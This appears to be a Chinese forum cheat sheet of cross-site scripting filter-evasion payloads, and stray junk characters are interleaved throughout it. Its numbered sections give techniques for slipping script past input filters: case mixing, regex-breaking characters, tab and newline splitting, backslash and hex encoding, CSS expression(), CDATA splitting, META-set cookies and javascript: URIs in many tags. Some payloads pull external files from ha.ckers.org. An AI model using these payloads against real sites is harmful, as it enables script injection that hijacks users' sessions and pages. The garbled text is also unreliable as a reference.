1. 改变字符大小写! g+ B& k2 e. G
! r, D( f: E: {% B4 V
& ~& e9 Y% ?. B! _5 V4 E
Y3 s' d& S- i <sCript>alert(‘d’)</scRipT>
0 J. r( L! s" A9 O+ u; x' U3 | f( h7 a3 z: {( b( L
2. 利用多加一些其它字符来规避Regular Expression的检查
5 {' C8 e. N, w/ U6 R
+ L3 G* q$ k' c) E' v, D0 N1 d <<script>alert(‘c’)//<</script>! g g2 C1 I3 ~0 Z6 P5 [
9 ^, Y! I2 x: @
<SCRIPT a=">" SRC="t.js"></SCRIPT>
; i T9 X- `! D" l: A3 V' O: w1 N% Z- j. t8 f1 D$ y7 f3 C# ^
<SCRIPT =">" SRC="t.js"></SCRIPT>( \3 v. l9 a0 q2 b C, D* C* t* x
2 s% Z. x! W/ ~2 { <SCRIPT a=">" ” SRC="t.js"></SCRIPT>
& U0 H1 o: `$ z6 o6 K7 m4 H/ T* X' \! {/ f
<SCRIPT "a=’>’" SRC="t.js"></SCRIPT>8 ^: Q+ w9 f7 @% B
# |/ n; V4 J T7 S& T
<SCRIPT a=`>` SRC="t.js"></SCRIPT>" t, W; Y" ?$ K4 {* \1 X
" [) q- s5 k( V. g
<SCRIPT a=">’>" SRC="t.js"></SCRIPT>
4 y$ c* I" L+ @
5 V; P( x* P/ c a6 \* {3. 以其它扩展名取代.js) [9 | c5 g/ a
* X4 {' o6 T5 @% W
<script src="bad.jpg"></script>! _+ r0 _) i0 v1 e; u" Y" f
( ^7 F: B8 Y9 y8 l
4. 将Javascript写在CSS档里
/ S. b3 F$ { E5 n+ }- b! B, t+ p+ \
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">! ~* c9 V- o. Q2 f
" R% T {) ^; \% S$ L. o0 U( m D example:% ~) I& N) ^ g L: a4 f1 o" I
: Q' B0 A8 ^0 P$ E( k0 M
body {
# M- z) x8 w+ {9 p+ ?
) Y: [2 T& `+ j background-image: url(‘javascript:alert("XSS");’)
/ |. |) b U8 x }7 {) \6 }5 d+ p+ L
}
, l- ~: Y/ x; E& x* n
r7 {8 n, B# y6 `" O8 ]0 P5 C5. 在script的tag里加入一些其它字符 W$ E2 M& y. Q2 U; s! C
" a2 a7 b& t( ~5 k% m3 F6 X4 W3 F <SCRIPT/SRC="t.js"></SCRIPT>/ r5 @$ m8 r" j. O5 X) {* x# J2 Y) ~
- Q0 h; Y( q G1 M <SCRIPT/anyword SRC="t.js"></SCRIPT>
/ \9 V' F. E: O" C: V6 v' T# t. t' O" e% F1 O
6. 使用tab或是new line来规避9 ~# K1 c' p# K1 _2 L3 f+ q9 [8 N
, t! V5 O$ j* \9 U( Q' x <img src="jav ascr ipt:alert(‘XSS3′)">) Z y' n( ~2 O. `
: u/ ^4 o0 ]( D4 W, m- t1 x- @
<img src="jav ascr ipt:alert(‘XSS3′)">
7 X0 h$ Y; ~# z( N
2 r A) R5 V6 p <IMG SRC="jav ascript:alert(‘XSS’);">
! {# T* c- H* w% w( q* k- u% x0 p! A* w& b/ C% ~' g
-> tag7 I7 D0 |! i5 C
/ X* }! s$ c$ k7 ~9 x( {1 s -> new line
; B/ J+ i1 z9 [/ W; @1 c( A& u4 n+ o
7. 使用"\"来规避+ s$ Q! u9 q) y
. y" g/ T# H1 o# h0 y7 Z3 N( q+ }$ I
<STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
" m9 |1 L5 [- s2 ]9 t5 m, W
2 T" ~8 ?7 v+ ^2 i% g <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>
3 {! J u `5 t* T
$ G. d$ z( E# V1 e8 ^5 ]# v <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">6 w3 |# W6 G9 C9 C; v7 S
4 F1 D2 ^9 B4 m7 z% [6 c <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">2 Y1 R+ \' k7 v2 {7 \' s
- t; d1 d2 F5 ?$ `% F+ `1 n% ~& Y <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>
& \6 ~" Z8 G$ A; N$ [6 h' P
7 X: H# H L8 A& w! f& ]8. 使用Hex encode来规避(也可能会把";"拿掉)/ G1 L# f1 ~& l7 [
9 A/ _: i& @+ ^* j4 F) A6 z
<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
4 X& Z/ c6 v$ T9 f3 O& s: h, U+ V
原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">5 M$ t7 V7 w+ Y. z+ B
( W V: U$ X5 u' W f
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
+ {5 E( T6 F( [9 T5 q$ O
8 N) M I( u( i0 P* O+ v% I' G 原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
0 g+ p" Q/ v9 g6 a" I+ t9 y6 O
& g3 ]: Y* t% m8 H8 k2 k" N; V9. script in HTML tag5 V2 N' D- l) E
6 T( O5 I: w4 v _ } <body onload=」alert(‘onload’)」>7 P( ^ z! z$ x+ x+ A. \; a
+ U0 v* u7 S; [0 W- f
onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload$ ]( k, @! E8 {" b2 E6 g0 |2 ~0 o
& c) n' c8 D+ e, [9 }' C2 C10. 在swf里含有xss的code, e, |, K0 `* [0 T2 r* ~% D6 z
7 }# F! E) Y% r3 K; M# U, w
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED> M j9 A/ a: w& s; O
7 Z# E+ R5 V$ `3 S; O- k11. 利用CDATA将xss的code拆开,再组合起来。
6 l( J, \% X V) P# P
5 N4 a+ h- c$ z* j <XML ID=I><X><C>
1 \' |8 ~ k9 x8 J0 Y. J6 I) w* ~( S. G i! P
<![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
6 |, Q3 c# I4 _' v' g% p+ P3 `. ^( O% t2 k
</C></X>
i k) Q* K- g$ t5 @
/ r& m) T/ Y" P* O </xml>
/ @3 b7 {0 I3 g. P2 E
$ L1 n3 {- g* g <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
# Y/ @+ ~1 X! G6 d% E% _
: A! B9 |7 B6 w6 U5 w <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>7 t- M0 L3 }4 d- \
( u1 m+ M+ A S: R! P; P) `
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>2 k7 W( X4 c% c4 V6 y2 h& d
7 ?9 y \0 g+ G% g0 x2 i" Q1 [
12. 利用HTML+TIME。
) W0 K; H* x8 E5 I# L. L* a. b+ G( @! Q, H( J
<HTML><BODY>
0 v( v7 B5 d; ^" i0 _- \7 Y( y: ?0 x+ a
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">' g! M' d- s* K8 D
. Z. a C& e( W. c, T9 X& b <?import namespace="t" implementation="#default#time2">
( \/ J p6 s2 ~ N# g( W( ~% `& c7 r
<t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">
7 r! Y7 z, S+ H! S) `4 ^ ~# X9 g& f" E; v6 b& _
</BODY></HTML>) a0 |! r0 c$ F6 ]) I7 F
% T+ D% U k* r/ n% Y) D. i( G! F
13. 透过META写入Cookie。
( F/ D3 @4 w- g( @. v( N$ i7 ?/ ^' _1 w' `) c+ U: [9 M# \
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">
4 o7 B, Y- E' }$ e5 Y% f: [# ]2 x" `: z+ t) r) r
14. javascript in src , href , url
9 W" e3 p) u8 I3 d6 ?6 P
# }2 I/ r' k3 M6 \6 w3 h <IFRAME SRC=javascript:alert(’13′)></IFRAME>
( M/ K( M! F0 ]6 Y) D) [( e) w- L8 t6 i; N+ T
<img src="javascript:alert(‘XSS3′)">
' o# _" E( ^0 Z! u6 v, A* {3 I9 b, s& z! Q! }2 s
<IMG DYNSRC="javascript:alert(‘XSS20′)">
2 O9 x/ H6 _( x; Z2 Q
. H- j( Y" Z; g% l+ N8 F# Z- \ <IMG LOWSRC="javascript:alert(‘XSS21′)">2 N4 P9 u0 W$ w! _
i. ?- V% g9 c4 W- @
<LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">+ r/ B3 B2 x) v# m/ D3 Y
6 c6 v8 ]! k; A2 L% X) S- ~, ? <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME> P6 g8 d) Q; ? |
% r, @9 F6 g: q, Z, W
<TABLE BACKGROUND="javascript:alert(‘XSS29′)">
& { O( F. n* Y2 R9 Z ^4 {0 I9 `
<DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">
/ Z" @) M6 v) @/ j# Z
& `& h+ P+ O L0 _" X. v <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}
: T, {3 d) S2 d9 C# v4 F4 C) k: b3 D9 s4 a2 w: ~' N; r
</STYLE><A CLASS=XSS></A>4 C* c9 F" S+ x5 z. ]" e
9 |/ O: \% G7 J6 S6 D9 u, {* M O
<FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>0 f( P4 d r7 @% K3 S
$ _$ n! h v6 e) r7 b- w
|